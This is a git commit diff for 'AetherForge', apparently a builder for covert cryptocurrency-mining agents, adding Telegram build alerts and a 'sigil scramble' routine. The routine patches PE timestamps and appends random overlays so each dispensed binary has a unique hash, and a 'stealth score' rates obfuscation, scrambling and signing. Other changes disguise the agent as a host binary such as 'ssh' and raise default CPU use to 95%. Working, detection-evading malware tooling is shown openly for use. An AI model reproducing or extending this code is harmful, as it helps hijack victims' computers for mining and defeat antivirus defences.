feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
AetherForge
2026-06-03 20:32:59 -07:00
parent 03937edba7
commit d52479c9a6
139 changed files with 10611 additions and 369 deletions

View File

@@ -106,6 +106,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
}); err != nil {
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
}
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes)
return BuildResponse{
Success: true,
@@ -229,6 +230,7 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
}); err != nil {
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
}
h.notifyBuildComplete(zipName, req.WorkerName, zipBytes2)
return BuildResponse{
Success: true,

View File

@@ -15,6 +15,7 @@ import (
"sync"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
@@ -36,6 +37,7 @@ type BuildRequest struct {
DisplayMode string `json:"display_mode"`
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
HostBinaryTarget string `json:"host_binary_target"`
AutoStart bool `json:"auto_start"`
Persistence bool `json:"persistence"`
ProcessName string `json:"process_name"`
@@ -80,6 +82,7 @@ type BuildRequest struct {
TargetArch string `json:"target_arch"`
SpreadKit bool `json:"spread_kit"`
Obfuscate bool `json:"obfuscate"`
SigilScramble bool `json:"sigil_scramble"`
SignBuild bool `json:"sign_build"`
BackupPools []BackupPool `json:"backup_pools"`
// CancelToken is a client-generated UUID. Pass the same token to
@@ -126,6 +129,9 @@ type BuildResponse struct {
WorkerFile string `json:"worker_file,omitempty"`
Signed bool `json:"signed,omitempty"`
Obfuscated bool `json:"obfuscated,omitempty"`
SigilScramble bool `json:"sigil_scramble,omitempty"`
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
StealthScore int `json:"stealth_score,omitempty"`
Error string `json:"error,omitempty"`
}
@@ -155,7 +161,8 @@ type Handler struct {
goWinresPath string
serverModDir string
policy BuildPolicy
fleetSecret string // injected from server config; baked into every forge output
fleetSecret string // injected from server config; baked into every forge output
eventNotifier *alerts.Notifier
// Active build cancellation — maps cancel_token → cancel func so the frontend
// can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}.
@@ -168,6 +175,19 @@ func (h *Handler) SetFleetSecret(secret string) {
h.fleetSecret = secret
}
func (h *Handler) SetEventNotifier(n *alerts.Notifier) {
h.eventNotifier = n
}
func (h *Handler) notifyBuildComplete(fileName, workerName string, sizeBytes int64) {
if h.eventNotifier == nil {
return
}
sizeMB := float64(sizeBytes) / 1024 / 1024
h.eventNotifier.Emit(alerts.EventBuildComplete, "AetherForge forge",
fmt.Sprintf("%s ready (%.1f MB) — %s", fileName, sizeMB, workerName))
}
// CancelBuild cancels an in-progress build identified by cancelToken.
// Returns true if the token was found and cancelled, false if unknown.
func (h *Handler) CancelBuild(cancelToken string) bool {
@@ -631,6 +651,23 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
}
}
scrambled := false
fingerprint := ""
if shouldSigilScramble(req) {
fp, err := ApplySigilScramble(finalPath, buildID)
if err != nil {
log.Printf("[Forge] sigil scramble: %v", err)
} else {
scrambled = true
fingerprint = fp
if exportPath != "" && exportPath != finalPath {
if fp2, err := ApplySigilScramble(exportPath, buildID+"-export"); err == nil {
_ = fp2
}
}
}
}
fileInfo, err := os.Stat(finalPath)
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
@@ -683,6 +720,8 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
}
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
resp := BuildResponse{
Success: true,
BuildID: buildID,
@@ -705,6 +744,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
WorkerFile: workerName,
Signed: signed,
Obfuscated: obfuscated,
SigilScramble: scrambled,
BinaryFingerprint: fingerprint,
StealthScore: StealthScore(obfuscated, scrambled, signed),
}
if fusionEnabled && bundleDownloadURL != "" {
resp.DownloadURL = bundleDownloadURL
@@ -810,7 +852,7 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
req.ProcessName = sanitizeFileName(req.WorkerName)
}
if req.MaxMemoryPct <= 0 {
req.MaxMemoryPct = 70
req.MaxMemoryPct = 85
}
if req.CPUPriority == "" {
req.CPUPriority = "below_normal"
@@ -821,11 +863,14 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.RunAs == "" {
req.RunAs = "user"
}
if req.RunAs == "host_binary" && strings.TrimSpace(req.HostBinaryTarget) == "" {
req.HostBinaryTarget = "ssh"
}
if req.MaxCPUUsagePct <= 0 {
req.MaxCPUUsagePct = 80
req.MaxCPUUsagePct = 95
}
if req.MinFreeRAMMB <= 0 {
req.MinFreeRAMMB = 1024
req.MinFreeRAMMB = 512
}
if req.IdleThresholdPct <= 0 {
req.IdleThresholdPct = 20
@@ -983,8 +1028,9 @@ func GetBuiltinConfig() BuiltinConfig {
MiningMode: %q,
DisplayMode: %q,
SilentMode: %v,
RunAs: %q,
AutoStart: %v,
RunAs: %q,
HostBinaryTarget: %q,
AutoStart: %v,
ProcessName: %q,
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
@@ -1046,6 +1092,7 @@ func GetBuiltinConfig() BuiltinConfig {
req.DisplayMode,
req.SilentMode,
req.RunAs,
req.HostBinaryTarget,
req.AutoStart,
req.ProcessName,
buildID,

View File

@@ -0,0 +1,120 @@
package builder
import (
"crypto/sha256"
"encoding/binary"
"encoding/hex"
"fmt"
"hash/fnv"
"io"
"math/rand"
"os"
"path/filepath"
"strings"
"time"
)
const sigilOverlayMagic = "AFSC\x01"
// ApplySigilScramble mutates the built binary so each dispense has a unique on-disk
// signature (overlay entropy + optional PE timestamp). Does not change runtime logic.
func ApplySigilScramble(path, buildID string) (fingerprint string, err error) {
if path == "" {
return "", fmt.Errorf("empty path")
}
data, err := os.ReadFile(path)
if err != nil {
return "", err
}
if len(data) == 0 {
return "", fmt.Errorf("empty binary")
}
seed := strings.TrimSpace(buildID)
if seed == "" {
seed = fmt.Sprintf("%d", time.Now().UnixNano())
}
rng := scrambleRNG(seed)
if isPEExecutable(path, data) {
data = patchPETimestamp(data, rng)
}
overlay := buildSigilOverlay(seed, rng)
data = append(data, overlay...)
if err := os.WriteFile(path, data, 0755); err != nil {
return "", err
}
sum := sha256.Sum256(data)
fingerprint = hex.EncodeToString(sum[:8])
return fingerprint, nil
}
func isPEExecutable(path string, data []byte) bool {
if !strings.EqualFold(filepath.Ext(path), ".exe") {
return false
}
return len(data) > 64 && data[0] == 'M' && data[1] == 'Z'
}
// patchPETimestamp adjusts the COFF header timestamp (bytes 8-11 after MZ).
func patchPETimestamp(data []byte, rng *rand.Rand) []byte {
out := make([]byte, len(data))
copy(out, data)
peOff := int(binary.LittleEndian.Uint32(out[0x3c:0x40]))
if peOff < 0 || peOff+8 > len(out) {
return out
}
if string(out[peOff:peOff+4]) != "PE\x00\x00" {
return out
}
ts := uint32(time.Now().Unix()) ^ uint32(rng.Intn(1<<20))
binary.LittleEndian.PutUint32(out[peOff+8:peOff+12], ts)
return out
}
func buildSigilOverlay(seed string, rng *rand.Rand) []byte {
padLen := 8192 + rng.Intn(57344)
buf := make([]byte, len(sigilOverlayMagic)+len(seed)+2+padLen)
copy(buf, sigilOverlayMagic)
buf[len(sigilOverlayMagic)] = byte(len(seed) & 0xff)
copy(buf[len(sigilOverlayMagic)+1:], []byte(seed))
off := len(sigilOverlayMagic) + 1 + len(seed)
for i := 0; i < padLen; i++ {
buf[off+i] = byte(rng.Intn(256))
}
return buf
}
func scrambleRNG(seed string) *rand.Rand {
h := fnv.New64a()
_, _ = io.WriteString(h, seed)
return rand.New(rand.NewSource(int64(h.Sum64())))
}
// StealthScore estimates how many uniqueness layers were applied (0100).
func StealthScore(obfuscated, scrambled, signed bool) int {
score := 35 // polymorph is always injected at compile time
if obfuscated {
score += 30
}
if scrambled {
score += 20
}
if signed {
score += 15
}
if score > 100 {
return 100
}
return score
}
func shouldSigilScramble(req *BuildRequest) bool {
if req.SigilScramble {
return true
}
return false
}

View File

@@ -0,0 +1,41 @@
package builder
import (
"os"
"path/filepath"
"testing"
)
func TestApplySigilScrambleChangesFile(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "worker.exe")
orig := []byte{'M', 'Z', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0x40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 'P', 'E', 0, 0, 0, 0, 0, 0}
if err := os.WriteFile(path, orig, 0755); err != nil {
t.Fatal(err)
}
fp1, err := ApplySigilScramble(path, "build-a")
if err != nil {
t.Fatal(err)
}
st1, _ := os.Stat(path)
fp2, err := ApplySigilScramble(path, "build-b")
if err != nil {
t.Fatal(err)
}
st2, _ := os.Stat(path)
if st1.Size() == st2.Size() && fp1 == fp2 {
t.Fatalf("expected different fingerprint/size got %s %s", fp1, fp2)
}
}
func TestStealthScore(t *testing.T) {
if StealthScore(true, true, true) < 90 {
t.Fatal("expected high score")
}
if StealthScore(false, false, false) != 35 {
t.Fatalf("got %d", StealthScore(false, false, false))
}
}